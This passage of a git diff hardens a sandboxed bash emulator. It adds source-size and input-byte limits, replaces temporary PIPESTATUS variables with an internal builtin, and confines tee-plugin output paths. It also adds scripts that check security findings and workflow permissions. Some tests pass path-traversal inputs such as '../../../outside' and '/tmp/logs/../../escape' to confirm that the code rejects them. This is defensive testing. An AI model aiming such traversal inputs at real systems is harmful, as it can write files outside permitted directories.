+      else boundCallback();
+    }, chunk);
+  };
+  schedule();
+  return handle;
+}
+
+export function _clearFiniteTimeout(
+  handle: FiniteTimeoutHandle | undefined,
+): void {
+  if (!handle) return;
+  handle.cleared = true;
+  if (handle.timer !== undefined) nativeClearTimeout(handle.timer);
+}
+
 export const _setInterval: typeof globalThis.setInterval = ((
   callback: Parameters<typeof globalThis.setInterval>[0],
   delay?: number,
diff --git a/packages/just-bash/src/transform/pipeline.ts b/packages/just-bash/src/transform/pipeline.ts
index 14533e1f..2ae58679 100644
--- a/packages/just-bash/src/transform/pipeline.ts
+++ b/packages/just-bash/src/transform/pipeline.ts
@@ -1,5 +1,7 @@
 import { mergeToNullPrototype } from "../helpers/env.js";
+import { DEFAULT_MAX_SOURCE_BYTES } from "../limits.js";
 import { parse } from "../parser/parser.js";
+import { assertSourceWithinLimit } from "../source-limit.js";
 import { serialize } from "./serialize.js";
 import type { BashTransformResult, TransformPlugin } from "./types.js";
 
@@ -9,6 +11,14 @@ export class BashTransformPipeline<
   // biome-ignore lint/suspicious/noExplicitAny: required for type-erased plugin storage
   private plugins: TransformPlugin<any>[] = [];
 
+  constructor(
+    private readonly maxSourceBytes: number = DEFAULT_MAX_SOURCE_BYTES,
+  ) {
+    if (!Number.isSafeInteger(maxSourceBytes) || maxSourceBytes < 0) {
+      throw new Error("BashTransformPipeline: invalid maxSourceBytes");
+    }
+  }
+
   use<M extends object>(
     plugin: TransformPlugin<M>,
   ): BashTransformPipeline<TMetadata & M> {
@@ -20,6 +30,7 @@ export class BashTransformPipeline<
   }
 
   transform(script: string): BashTransformResult<TMetadata> {
+    assertSourceWithinLimit(script, this.maxSourceBytes);
     let ast = parse(script);
     let metadata: Record<string, unknown> = Object.create(null);
     for (const plugin of this.plugins) {
diff --git a/packages/just-bash/src/transform/plugins/tee-plugin.test.ts b/packages/just-bash/src/transform/plugins/tee-plugin.test.ts
index 2a6a7426..e4e29940 100644
--- a/packages/just-bash/src/transform/plugins/tee-plugin.test.ts
+++ b/packages/just-bash/src/transform/plugins/tee-plugin.test.ts
@@ -668,6 +668,24 @@ describe("TeePlugin semantics preservation", () => {
     );
   });
 
+  it("does not clobber or assign former temp-variable names", async () => {
+    await assertSameSemantics(
+      `__tps0=keep; __tps1=guard; readonly __tps1; echo hello | grep hello; printf '%s|%s|%s' "$__tps0" "$__tps1" "\${PIPESTATUS[*]}"`,
+    );
+  });
+
+  it("does not create former temp variables when they were absent", async () => {
+    await assertSameSemantics(
+      `unset __tps0 __tps1; echo hello | grep hello; printf '%s|%s' "\${__tps0-unset}" "\${__tps1-unset}"`,
+    );
+  });
+
+  it("does not reserve the internal restore name in the function namespace", async () => {
+    await assertSameSemantics(
+      `__just_bash_tee_restore() { echo user-function; }; __just_bash_tee_restore; false | true; echo "\${PIPESTATUS[*]}"`,
+    );
+  });
+
   it("|& pipes stderr through to next command", async () => {
     await assertSameSemantics("ls /no_such_xyz |& cat");
   });
@@ -746,13 +764,38 @@ describe("TeePlugin transform output", () => {
     expect(r.metadata.teeFiles).toHaveLength(0);
   });
 
-  it("pipeline: wraps each command, saves + restores PIPESTATUS", () => {
+  it("pipeline: wraps each command and restores PIPESTATUS without variables", () => {
     const r = transform("echo hello | grep hello");
     expect(r.script).toBe(
-      `echo hello | tee ${D}-000-echo.stdout.txt | grep hello | tee ${D}-001-grep.stdout.txt ; __tps0=\${PIPESTATUS[0]} __tps1=\${PIPESTATUS[2]} ; (exit $__tps0) | (exit $__tps1)`,
+      `echo hello | tee ${D}-000-echo.stdout.txt | grep hello | tee ${D}-001-grep.stdout.txt ; builtin __just_bash_tee_restore \${PIPESTATUS[0]} \${PIPESTATUS[2]}`,
     );
   });
 
+  it("encodes path-like command names into one contained filename", () => {
+    const r = transform("../../../outside | cat");
+    const meta = r.metadata.teeFiles as TeePluginMetadata["teeFiles"];
+
+    expect(meta).toHaveLength(2);
+    expect(meta[0].commandName).toBe("../../../outside");
+    expect(meta[0].stdoutFile.startsWith("/tmp/logs/")).toBe(true);
+    expect(meta[0].stdoutFile.slice("/tmp/logs/".length)).not.toContain("/");
+    expect(meta[0].stdoutFile).not.toContain("..");
+    expect(r.script).not.toContain("/tmp/outside");
+  });
+
+  it("rejects traversal in the configured output directory", () => {
+    expect(() =>
+      new BashTransformPipeline()
+        .use(
+          new TeePlugin({
+            outputDir: "/tmp/logs/../../escape",
+            timestamp: FIXED_DATE,
+          }),
+        )
+        .transform("echo safe | cat"),
+    ).toThrow("tee output directory must be an absolute safe path");
+  });
+
   it("single commands in && / || chains: no wrapping", () => {
     const r = transform("echo first && echo second || echo third");
     expect(r.script).toBe("echo first && echo second || echo third");
@@ -762,7 +805,7 @@ describe("TeePlugin transform output", () => {
   it("pipeline in && chain: wraps the pipeline, skips the single command", () => {
     const r = transform("echo hello | grep hello && echo found");
     expect(r.script).toBe(
-      `echo hello | tee ${D}-000-echo.stdout.txt | grep hello | tee ${D}-001-grep.stdout.txt ; __tps0=\${PIPESTATUS[0]} __tps1=\${PIPESTATUS[2]} ; (exit $__tps0) | (exit $__tps1) && echo found`,
+      `echo hello | tee ${D}-000-echo.stdout.txt | grep hello | tee ${D}-001-grep.stdout.txt ; builtin __just_bash_tee_restore \${PIPESTATUS[0]} \${PIPESTATUS[2]} && echo found`,
     );
     expect(r.metadata.teeFiles).toHaveLength(2);
   });
@@ -788,7 +831,7 @@ describe("TeePlugin transform output", () => {
     expect(r.script).toContain("003-cat");
   });
 
-  it("still saves/restores PIPESTATUS even when only some commands wrapped", () => {
+  it("still restores PIPESTATUS even when only some commands wrapped", () => {
     const r = new BashTransformPipeline()
       .use(
         new TeePlugin({
@@ -801,7 +844,16 @@ describe("TeePlugin transform output", () => {
     // echo is wrapped (tee inserted), cat is not. PIPESTATUS still needs
     // restoring because tee inflated it from 2 to 3 entries.
     expect(r.script).toBe(
-      `echo hello | tee ${D}-000-echo.stdout.txt | cat ; __tps0=\${PIPESTATUS[0]} __tps1=\${PIPESTATUS[2]} ; (exit $__tps0) | (exit $__tps1)`,
+      `echo hello | tee ${D}-000-echo.stdout.txt | cat ; builtin __just_bash_tee_restore \${PIPESTATUS[0]} \${PIPESTATUS[2]}`,
     );
   });
+
+  it("serialized transformed output replays without temp variable state", async () => {
+    const transformed = transform("false | true; echo ${PIPESTATUS[*]}");
+    const plain = new Bash();
+    const result = await plain.exec(transformed.script);
+    expect(result.stdout).toBe("1 0\n");
+    expect(result.exitCode).toBe(0);
+    expect(transformed.script).not.toContain("__tps");
+  });
 });
diff --git a/packages/just-bash/src/transform/plugins/tee-plugin.ts b/packages/just-bash/src/transform/plugins/tee-plugin.ts
index d30dc73e..d0354384 100644
--- a/packages/just-bash/src/transform/plugins/tee-plugin.ts
+++ b/packages/just-bash/src/transform/plugins/tee-plugin.ts
@@ -6,6 +6,7 @@ import type {
   StatementNode,
   WordNode,
 } from "../../ast/types.js";
+import { normalizePath, validatePath } from "../../fs/path-utils.js";
 import { serializeWord } from "../serialize.js";
 import type {
   TransformContext,
@@ -58,8 +59,42 @@ export class TeePlugin implements TransformPlugin<TeePluginMetadata> {
   ): string {
     const ts = this.formatTimestamp(timestamp);
     const idx = String(index).padStart(3, "0");
-    const dir = this.options.outputDir;
-    return `${dir}/${ts}-${idx}-${commandName}.stdout.txt`;
+    validatePath(this.options.outputDir, "create tee output");
+    if (
+      !this.options.outputDir.startsWith("/") ||
+      this.options.outputDir.split("/").includes("..")
+    ) {
+      throw new Error("tee output directory must be an absolute safe path");
+    }
+    const dir = normalizePath(this.options.outputDir);
+    const encodedCommandName = this.encodeCommandName(commandName);
+    const candidate = normalizePath(
+      `${dir}/${ts}-${idx}-${encodedCommandName}.stdout.txt`,
+    );
+    if (dir !== "/" && !candidate.startsWith(`${dir}/`)) {
+      throw new Error("tee output path escapes configured output directory");
+    }
+    return candidate;
+  }
+
+  private encodeCommandName(commandName: string): string {
+    if (/^[A-Za-z0-9][A-Za-z0-9_-]{0,63}$/.test(commandName)) {
+      return commandName;
+    }
+
+    // FNV-1a gives unsafe or very long names a deterministic collision-resistant
+    // suffix without importing Node-only crypto into the browser build.
+    let hash = 0x811c9dc5;
+    for (let i = 0; i < commandName.length; i++) {
+      hash ^= commandName.charCodeAt(i);
+      hash = Math.imul(hash, 0x01000193) >>> 0;
+    }
+    const slug =
+      commandName
+        .replace(/[^A-Za-z0-9_-]/g, "_")
+        .replace(/^_+|_+$/g, "")
+        .slice(0, 32) || "command";
+    return `${slug}-${hash.toString(16).padStart(8, "0")}`;
   }
 
   private transformScript(
@@ -95,16 +130,12 @@ export class TeePlugin implements TransformPlugin<TeePluginMetadata> {
       newPipelines.push(result.pipeline);
 
       if (result.origCmdNewIndices !== null) {
-        const indices = result.origCmdNewIndices;
-        // Save original PIPESTATUS entries into temp vars
-        newOperators.push(";");
-        newPipelines.push(this.makePipestatusSave(indices));
-        // Restore PIPESTATUS and exit code with dummy pipeline.
-        // Apply the original pipeline's negation here (not on the
-        // wrapped pipeline) so ! inverts the restored exit code.
+        // The restore builtin receives expansions from one PIPESTATUS
+        // snapshot, returns the original pipeline status, and asks the
+        // interpreter to publish those statuses without shell temp vars.
         newOperators.push(";");
         newPipelines.push(
-          this.makePipestatusRestore(indices.length, result.negated),
+          this.makePipestatusRestore(result.origCmdNewIndices, result.negated),
         );
       }
     }
@@ -199,98 +230,42 @@ export class TeePlugin implements TransformPlugin<TeePluginMetadata> {
   }
 
   /**
-   * Save PIPESTATUS entries for original commands into temp vars.
-   * Produces: `__tps0=${PIPESTATUS[idx0]} __tps1=${PIPESTATUS[idx1]} ...`
-   *
-   * All expansions happen before any assignment (single simple command),
-   * so all read from the same PIPESTATUS snapshot.
+   * Restore PIPESTATUS and exit code without user-visible variables.
+   * Produces: `builtin __just_bash_tee_restore ${PIPESTATUS[i]} ...`
    */
-  private makePipestatusSave(origCmdNewIndices: number[]): PipelineNode {
+  private makePipestatusRestore(
+    indices: number[],
+    negated: boolean,
+  ): PipelineNode {
     return {
       type: "Pipeline",
       commands: [
         {
           type: "SimpleCommand",
-          assignments: origCmdNewIndices.map((newIdx, i) => ({
-            type: "Assignment" as const,
-            name: `__tps${i}`,
-            value: {
+          assignments: [],
+          name: {
+            type: "Word",
+            parts: [{ type: "Literal", value: "builtin" }],
+          },
+          args: [
+            {
+              type: "Word",
+              parts: [{ type: "Literal", value: "__just_bash_tee_restore" }],
+            },
+            ...indices.map((index) => ({
               type: "Word" as const,
               parts: [
                 {
                   type: "ParameterExpansion" as const,
-                  parameter: `PIPESTATUS[${newIdx}]`,
+                  parameter: `PIPESTATUS[${index}]`,
                   operation: null,
                 },
               ],
-            },
-            append: false,
-            array: null,
-          })),
-          name: null,
-          args: [],
+            })),
+          ],
           redirections: [],
         },
       ],
-      negated: false,
-    };
-  }
-
-  /**
-   * Restore PIPESTATUS and exit code with a dummy pipeline.
-   * Produces: `(exit $__tps0) | (exit $__tps1) | ...`
-   *
-   * This sets PIPESTATUS to the original commands' exit codes and
-   * sets $? to the last original command's exit code.
-   */
-  private makePipestatusRestore(count: number, negated: boolean): PipelineNode {
-    const commands: CommandNode[] = [];
-    for (let i = 0; i < count; i++) {
-      commands.push({
-        type: "Subshell",
-        body: [
-          {
-            type: "Statement",
-            pipelines: [
-              {
-                type: "Pipeline",
-                commands: [
-                  {
-                    type: "SimpleCommand",
-                    assignments: [],
-                    name: {
-                      type: "Word",
-                      parts: [{ type: "Literal", value: "exit" }],
-                    },
-                    args: [
-                      {
-                        type: "Word",
-                        parts: [
-                          {
-                            type: "ParameterExpansion",
-                            parameter: `__tps${i}`,
-                            operation: null,
-                          },
-                        ],
-                      },
-                    ],
-                    redirections: [],
-                  },
-                ],
-                negated: false,
-              },
-            ],
-            operators: [],
-            background: false,
-          },
-        ],
-        redirections: [],
-      });
-    }
-
-    return {
-      type: "Pipeline",
-      commands,
       negated,
     };
   }
diff --git a/packages/just-bash/src/transform/transform.test.ts b/packages/just-bash/src/transform/transform.test.ts
index 87c4f556..fc13b4e1 100644
--- a/packages/just-bash/src/transform/transform.test.ts
+++ b/packages/just-bash/src/transform/transform.test.ts
@@ -9,6 +9,15 @@ const FIXED_DATE = new Date("2024-01-15T10:30:45.123Z");
 const TS = "2024-01-15T10-30-45.123Z";
 
 describe("transform", () => {
+  it("rejects source above maxSourceBytes before parsing", () => {
+    const bash = new Bash({ executionLimits: { maxSourceBytes: 8 } });
+
+    expect(() => bash.transform("echo 1234")).toThrow(
+      /script input size limit exceeded \(8 bytes\)/,
+    );
+    expect(() => bash.transform("echo ok")).not.toThrow();
+  });
+
   describe("no plugins", () => {
     it("returns original script unchanged", () => {
       const bash = new Bash();
@@ -35,7 +44,7 @@ describe("transform", () => {
       );
       const result = bash.transform("echo hello | grep hello");
       expect(result.script).toBe(
-        `echo hello | tee /tmp/logs/${TS}-000-echo.stdout.txt | grep hello | tee /tmp/logs/${TS}-001-grep.stdout.txt ; __tps0=\${PIPESTATUS[0]} __tps1=\${PIPESTATUS[2]} ; (exit $__tps0) | (exit $__tps1)`,
+        `echo hello | tee /tmp/logs/${TS}-000-echo.stdout.txt | grep hello | tee /tmp/logs/${TS}-001-grep.stdout.txt ; builtin __just_bash_tee_restore \${PIPESTATUS[0]} \${PIPESTATUS[2]}`,
       );
     });
 
@@ -50,7 +59,7 @@ describe("transform", () => {
       );
       const result = bash.transform("cat file | sort | grep pattern | wc -l");
       expect(result.script).toBe(
-        `cat file | sort | grep pattern | tee /tmp/logs/${TS}-000-grep.stdout.txt | wc -l ; __tps0=\${PIPESTATUS[0]} __tps1=\${PIPESTATUS[1]} __tps2=\${PIPESTATUS[2]} __tps3=\${PIPESTATUS[4]} ; (exit $__tps0) | (exit $__tps1) | (exit $__tps2) | (exit $__tps3)`,
+        `cat file | sort | grep pattern | tee /tmp/logs/${TS}-000-grep.stdout.txt | wc -l ; builtin __just_bash_tee_restore \${PIPESTATUS[0]} \${PIPESTATUS[1]} \${PIPESTATUS[2]} \${PIPESTATUS[4]}`,
       );
     });
 
@@ -84,7 +93,7 @@ describe("transform", () => {
       );
       const result = bash.transform("echo a | cat\necho b | cat");
       expect(result.script).toBe(
-        `echo a | tee /tmp/logs/${TS}-000-echo.stdout.txt | cat | tee /tmp/logs/${TS}-001-cat.stdout.txt ; __tps0=\${PIPESTATUS[0]} __tps1=\${PIPESTATUS[2]} ; (exit $__tps0) | (exit $__tps1)\necho b | tee /tmp/logs/${TS}-002-echo.stdout.txt | cat | tee /tmp/logs/${TS}-003-cat.stdout.txt ; __tps0=\${PIPESTATUS[0]} __tps1=\${PIPESTATUS[2]} ; (exit $__tps0) | (exit $__tps1)`,
+        `echo a | tee /tmp/logs/${TS}-000-echo.stdout.txt | cat | tee /tmp/logs/${TS}-001-cat.stdout.txt ; builtin __just_bash_tee_restore \${PIPESTATUS[0]} \${PIPESTATUS[2]}\necho b | tee /tmp/logs/${TS}-002-echo.stdout.txt | cat | tee /tmp/logs/${TS}-003-cat.stdout.txt ; builtin __just_bash_tee_restore \${PIPESTATUS[0]} \${PIPESTATUS[2]}`,
       );
     });
 
@@ -167,14 +176,19 @@ describe("transform", () => {
   });
 
   describe("plugin chaining", () => {
-    it("tee + collector: collector sees inserted tee and exit", () => {
+    it("tee + collector: collector sees inserted tee and restore builtin", () => {
       const bash = new Bash();
       bash.registerTransformPlugin(
         new TeePlugin({ outputDir: "/tmp/logs", timestamp: FIXED_DATE }),
       );
       bash.registerTransformPlugin(new CommandCollectorPlugin());
       const result = bash.transform("echo hello | grep hello");
-      expect(result.metadata.commands).toEqual(["echo", "exit", "grep", "tee"]);
+      expect(result.metadata.commands).toEqual([
+        "builtin",
+        "echo",
+        "grep",
+        "tee",
+      ]);
     });
 
     it("metadata from multiple plugins is merged", () => {
@@ -200,7 +214,12 @@ describe("transform", () => {
         .use(new CommandCollectorPlugin())
         .transform("echo hello | grep hello");
 
-      expect(result.metadata.commands).toEqual(["echo", "exit", "grep", "tee"]);
+      expect(result.metadata.commands).toEqual([
+        "builtin",
+        "echo",
+        "grep",
+        "tee",
+      ]);
       expect(result.metadata.teeFiles).toHaveLength(2);
       expect(result.metadata.teeFiles[0].commandName).toBe("echo");
       expect(result.metadata.teeFiles[1].commandName).toBe("grep");
@@ -220,6 +239,14 @@ describe("transform", () => {
       expect(result.metadata).toEqual({});
     });
 
+    it("rejects oversized source before standalone parsing", () => {
+      const pipeline = new BashTransformPipeline(2);
+      expect(() => pipeline.transform("é")).not.toThrow();
+      expect(() => pipeline.transform("éx")).toThrow(
+        "script input size limit exceeded (2 bytes)",
+      );
+    });
+
     it("merges metadata from all plugins", () => {
       const result = new BashTransformPipeline()
         .use(new CommandCollectorPlugin())
diff --git a/packages/just-bash/src/types.ts b/packages/just-bash/src/types.ts
index 92c38d1e..59814b37 100644
--- a/packages/just-bash/src/types.ts
+++ b/packages/just-bash/src/types.ts
@@ -1,4 +1,5 @@
 import type { ByteString } from "./encoding.js";
+import type { CommandExecutionBudget } from "./execution-scope.js";
 import type { IFileSystem } from "./fs/interface.js";
 import type { ExecutionLimits } from "./limits.js";
 import type { SecureFetch } from "./network/index.js";
@@ -39,6 +40,19 @@ export interface ExecResult {
    * `"binary"` to mark binary output. New code should prefer `stdoutKind`.
    */
   stdoutEncoding?: "binary";
+  /** @internal PIPESTATUS override used by synthesized transform builtins. */
+  internalPipeStatusOverride?: number[];
+  /**
+   * Bytes in the current result that have already been charged to the shared
+   * execution output budget. Interpreter plumbing must preserve this when it
+   * combines child results so nested shells do not refresh or double-charge
+   * the budget.
+   * @internal
+   */
+  internalOutputAccounting?: {
+    stdout: number;
+    stderr: number;
+  };
 }
 
 /** Result from BashEnv.exec() - always includes env */
@@ -127,13 +141,21 @@ export interface TraceEvent {
  */
 export type TraceCallback = (event: TraceEvent) => void;
 
-export interface CommandContext {
+export interface RuntimeCommandContext {
   /** Virtual filesystem interface for file operations */
   fs: IFileSystem;
+  /** Stable identity of the underlying filesystem across defense wrappers. */
+  fsIdentity?: object;
   /** Current working directory */
   cwd: string;
   /** Environment variables - uses Map to prevent prototype pollution */
   env: Map<string, string>;
+  /** Interpreter-owned assignment gateway for commands such as `printf -v`. */
+  assignShellVariable?: (
+    name: string,
+    value: string,
+    subscript?: string,
+  ) => void | Promise<void>;
   /**
    * Exported environment variables only.
    * Used by commands like printenv and env that should only show exported vars.
@@ -155,9 +177,11 @@ export interface CommandContext {
   stdin: ByteString;
   /**
    * Execution limits configuration.
-   * Available when running commands via BashEnv interpreter.
+   * Fully resolved by Bash before a command is invoked.
    */
-  limits?: Required<ExecutionLimits>;
+  limits: Required<ExecutionLimits>;
+  /** Shared top-level accounting, present for interpreter-dispatched commands. */
+  executionScope?: CommandExecutionBudget;
   /**
    * Performance trace callback for profiling.
    * If provided, commands emit timing events for analysis.
@@ -171,6 +195,11 @@ export interface CommandContext {
    * @param options - Required options including `cwd` to prevent directory bugs
    */
   exec?: (command: string, options: CommandExecOptions) => Promise<ExecResult>;
+  /** @internal Closed path for forwarding this command's already-accounted stdin. */
+  execWithInheritedStdin?: (
+    command: string,
+    options: Omit<CommandExecOptions, "stdin" | "stdinKind">,
+  ) => Promise<ExecResult>;
   /**
    * Secure fetch function for network requests (e.g., for `curl`).
    * Only available when `network` option is configured in BashEnv.
@@ -235,19 +264,38 @@ export interface CommandContext {
   invokeTool?: (path: string, argsJson: string) => Promise<string>;
 }
 
+/** Legacy standalone context shape used by direct command invocations. */
+export type CommandContext = Omit<
+  RuntimeCommandContext,
+  "limits" | "executionScope"
+> & {
+  /** Fully resolved when Bash dispatches the command; optional for legacy direct calls. */
+  limits?: Required<ExecutionLimits>;
+  /** Shared accounting is only available for interpreter-dispatched commands. */
+  executionScope?: CommandExecutionBudget;
+};
+
+/** Context supplied by Bash when dispatching a registered command. */
+export type ResolvedCommandContext = RuntimeCommandContext;
+
 export interface Command {
   name: string;
   /**
-   * When true, execute this command inside DefenseInDepthBox.runTrustedAsync().
-   * Use for trusted host-extension commands that need direct Node.js globals.
+   * Host-provided commands are trusted by default for compatibility. Set this
+   * to false to select the restricted extension boundary.
    * Built-in commands should generally remain untrusted and use explicit
    * trusted wrappers only at narrow infrastructure boundaries.
    */
   trusted?: boolean;
-  execute(args: string[], ctx: CommandContext): Promise<ExecResult>;
+  /** @internal Marks host extensions that receive a least-authority budget. */
+  internalIsExtension?: boolean;
+  execute(args: string[], ctx: ResolvedCommandContext): Promise<ExecResult>;
 }
 
-export type CommandRegistry = Map<string, Command>;
+export interface RuntimeCommand extends Omit<Command, "execute"> {
+  execute(args: string[], ctx: RuntimeCommandContext): Promise<ExecResult>;
+}
+export type CommandRegistry = Map<string, RuntimeCommand>;
 
 // Re-export IFileSystem for convenience
 export type { IFileSystem };
diff --git a/packages/just-bash/src/utils/file-reader.ts b/packages/just-bash/src/utils/file-reader.ts
index 29be753e..851ad6c0 100644
--- a/packages/just-bash/src/utils/file-reader.ts
+++ b/packages/just-bash/src/utils/file-reader.ts
@@ -6,7 +6,8 @@
  */
 
 import { type ByteString, EMPTY_BYTES, readBytesFrom } from "../encoding.js";
-import type { CommandContext, ExecResult } from "../types.js";
+import { ExecutionLimitError } from "../interpreter/errors.js";
+import type { ExecResult, RuntimeCommandContext } from "../types.js";
 import { DEFAULT_BATCH_SIZE } from "./constants.js";
 
 export interface ReadFilesOptions {
@@ -40,6 +41,25 @@ export interface ReadFilesResult {
   exitCode: number;
 }
 
+/** Charge bytes read from a file to the execution-wide input budget. */
+export function accountFileInput(
+  ctx: RuntimeCommandContext,
+  bytes: number,
+  site: string,
+): void {
+  if (
+    !Number.isSafeInteger(bytes) ||
+    bytes < 0 ||
+    bytes > ctx.limits.maxInputBytes
+  ) {
+    throw new ExecutionLimitError(
+      `${site}: input size limit exceeded (${ctx.limits.maxInputBytes} bytes)`,
+      "string_length",
+    );
+  }
+  ctx.executionScope?.consumeInput(bytes, site);
+}
+
 /**
  * Read content from files or stdin.
  *
@@ -56,7 +76,7 @@ export interface ReadFilesResult {
  * }
  */
 export async function readFiles(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   files: string[],
   options: ReadFilesOptions,
 ): Promise<ReadFilesResult> {
@@ -140,7 +160,7 @@ export async function readFiles(
  * const lines = decodeBytesToUtf8(result.content).split("\n");
  */
 export async function readAndConcat(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   files: string[],
   options: { cmdName: string; allowStdinMarker?: boolean },
 ): Promise<
diff --git a/packages/just-bash/vitest.config.ts b/packages/just-bash/vitest.config.ts
index d3d7d1b7..d79c6773 100644
--- a/packages/just-bash/vitest.config.ts
+++ b/packages/just-bash/vitest.config.ts
@@ -24,7 +24,7 @@ export default defineConfig({
     // but vi.mock works in forks as of vitest v4.
     poolMatchGlobs: [
       ["forks", "**/security/attacks/**"],
-      ["forks", "**/security/defense-in-depth-box*.test.ts"],
+      ["forks", "**/security/defense-in-depth*.test.ts"],
       ["forks", "**/browser.bundle.test.ts"],
       ["forks", "**/python3.test.ts"],
       ["forks", "**/python3.advanced.test.ts"],
diff --git a/packages/just-bash/vitest.unit.config.ts b/packages/just-bash/vitest.unit.config.ts
index c6edb0c5..fb241456 100644
--- a/packages/just-bash/vitest.unit.config.ts
+++ b/packages/just-bash/vitest.unit.config.ts
@@ -22,8 +22,7 @@ export default defineConfig({
     // process-level isolation so they don't leak state into thread neighbours.
     poolMatchGlobs: [
       ["forks", "**/security/attacks/**"],
-      ["forks", "**/security/defense-in-depth-box*.test.ts"],
-      ["forks", "**/security/defense-in-depth-hardening.test.ts"],
+      ["forks", "**/security/defense-in-depth*.test.ts"],
       ["forks", "**/security/sandbox/**"],
       ["forks", "**/sqlite3.worker-protocol-abuse.test.ts"],
       ["forks", "**/python3.worker-protocol-abuse.test.ts"],
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index 6a6a6c15..287f9263 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -201,6 +201,9 @@ importers:
       turndown:
         specifier: ^7.2.2
         version: 7.2.4
+      undici:
+        specifier: ^7.25.0
+        version: 7.25.0
       yaml:
         specifier: ^2.8.2
         version: 2.8.3
@@ -235,6 +238,9 @@ importers:
       knip:
         specifier: ^5.41.1
         version: 5.88.1(@emnapi/core@1.10.0)(@emnapi/runtime@1.10.0)(@types/node@25.6.0)(typescript@5.9.3)
+      tsx:
+        specifier: ^4.21.0
+        version: 4.21.0
       typescript:
         specifier: ^5.9.3
         version: 5.9.3
diff --git a/scripts/check-deepsec-revalidation.mjs b/scripts/check-deepsec-revalidation.mjs
new file mode 100644
index 00000000..a9b1eee9
--- /dev/null
+++ b/scripts/check-deepsec-revalidation.mjs
@@ -0,0 +1,123 @@
+import { readdir, readFile } from "node:fs/promises";
+import { join } from "node:path";
+
+const dataRoot = process.argv[2] ?? ".deepsec/data/just-bash";
+const requestedBatch = process.argv[3];
+
+async function jsonFiles(directory) {
+  const result = [];
+  for (const entry of await readdir(directory, { withFileTypes: true })) {
+    const path = join(directory, entry.name);
+    if (entry.isDirectory()) result.push(...(await jsonFiles(path)));
+    else if (entry.isFile() && entry.name.endsWith(".json")) result.push(path);
+  }
+  return result;
+}
+
+const runFiles = await jsonFiles(join(dataRoot, "runs"));
+const runs = [];
+for (const path of runFiles) {
+  const run = JSON.parse(await readFile(path, "utf8"));
+  if (run.type === "revalidate") runs.push(run);
+}
+if (runs.length === 0) throw new Error("No revalidation runs found");
+
+const latestMinute = runs
+  .map((run) => run.createdAt.slice(0, 16))
+  .sort()
+  .at(-1);
+const batchKey = requestedBatch ?? latestMinute;
+const batch = runs.filter(
+  (run) => run.runId.startsWith(batchKey) || run.createdAt.startsWith(batchKey),
+);
+if (batch.length === 0) {
+  throw new Error(`No revalidation runs match ${batchKey}`);
+}
+
+const incompleteRuns = batch.filter(
+  (run) => run.phase !== "done" || !run.completedAt,
+);
+const completedBatch = batch.filter(
+  (run) => run.phase === "done" && run.completedAt,
+);
+
+const expected = {
+  total: 0,
+  fixed: 0,
+  "true-positive": 0,
+  "false-positive": 0,
+  uncertain: 0,
+  duplicate: 0,
+};
+const expectedByRun = new Map();
+for (const run of completedBatch) {
+  const counts = {
+    total: run.stats.findingsRevalidated,
+    fixed: run.stats.fixed,
+    "true-positive": run.stats.truePositives,
+    "false-positive": run.stats.falsePositives,
+    uncertain: run.stats.uncertain,
+    duplicate: run.stats.duplicates,
+  };
+  expectedByRun.set(run.runId, counts);
+  for (const key of Object.keys(expected)) expected[key] += counts[key] ?? 0;
+}
+
+const runIds = new Set(completedBatch.map((run) => run.runId));
+const actual = Object.fromEntries(Object.keys(expected).map((key) => [key, 0]));
+const actualByRun = new Map(
+  completedBatch.map((run) => [
+    run.runId,
+    Object.fromEntries(Object.keys(expected).map((key) => [key, 0])),
+  ]),
+);
+const identities = new Set();
+for (const path of await jsonFiles(join(dataRoot, "files"))) {
+  const file = JSON.parse(await readFile(path, "utf8"));
+  for (const finding of file.findings ?? []) {
+    const revalidation = finding.revalidation;
+    if (!revalidation || !runIds.has(revalidation.runId)) continue;
+    const identity = `${file.filePath}\0${finding.vulnSlug}\0${finding.title}`;
+    if (identities.has(identity)) {
+      throw new Error(`Duplicate latest annotation: ${identity}`);
+    }
+    identities.add(identity);
+    actual.total++;
+    actual[revalidation.verdict] = (actual[revalidation.verdict] ?? 0) + 1;
+    const runCounts = actualByRun.get(revalidation.runId);
+    runCounts.total++;
+    runCounts[revalidation.verdict] =
+      (runCounts[revalidation.verdict] ?? 0) + 1;
+  }
+}
+
+const mismatches = [];
+for (const run of incompleteRuns) {
+  mismatches.push(`${run.runId} phase: expected done, found ${run.phase}`);
+}
+for (const [runId, expectedCounts] of expectedByRun) {
+  const actualCounts = actualByRun.get(runId);
+  for (const key of Object.keys(expected)) {
+    if (expectedCounts[key] !== actualCounts[key]) {
+      mismatches.push(
+        `${runId} ${key}: expected ${expectedCounts[key]}, retained ${actualCounts[key]}`,
+      );
+    }
+  }
+}
+for (const key of Object.keys(expected)) {
+  if (expected[key] !== actual[key]) {
+    mismatches.push(
+      `batch ${key}: expected ${expected[key]}, retained ${actual[key]}`,
+    );
+  }
+}
+
+const summary = `${completedBatch.length}/${batch.length} completed shards, ${expected.total} completed results (${expected.fixed} fixed, ${expected["true-positive"]} true-positive, ${expected["false-positive"]} false-positive)`;
+if (mismatches.length > 0) {
+  console.error(`DeepSec revalidation integrity FAILED: ${summary}`);
+  for (const mismatch of mismatches) console.error(`- ${mismatch}`);
+  process.exitCode = 1;
+} else {
+  console.log(`DeepSec revalidation integrity passed: ${summary}`);
+}
diff --git a/scripts/check-workflow-security.mjs b/scripts/check-workflow-security.mjs
new file mode 100644
index 00000000..7a2b2a17
--- /dev/null
+++ b/scripts/check-workflow-security.mjs
@@ -0,0 +1,87 @@
+import { readdir, readFile } from "node:fs/promises";
+
+const workflowDirectory = new URL("../.github/workflows/", import.meta.url);
+const workflowFiles = (await readdir(workflowDirectory))
+  .filter((name) => name.endsWith(".yml") || name.endsWith(".yaml"))
+  .sort();
+const errors = [];
+
+function indentation(line) {
+  return line.length - line.trimStart().length;
+}
+
+for (const filename of workflowFiles) {
+  const source = await readFile(new URL(filename, workflowDirectory), "utf8");
+  const lines = source.split(/\r?\n/);
+  const jobsLine = lines.indexOf("jobs:");
+  if (jobsLine < 0) {
+    errors.push(`${filename}: missing jobs section`);
+    continue;
+  }
+
+  const hasWorkflowPermissions = lines
+    .slice(0, jobsLine)
+    .some((line) => line === "permissions:" || /^permissions:\s*\{/.test(line));
+
+  for (let index = jobsLine + 1; index < lines.length; index++) {
+    const jobMatch = lines[index].match(/^ {2}([A-Za-z0-9_-]+):\s*$/);
+    if (!jobMatch) continue;
+    const end = lines.findIndex(
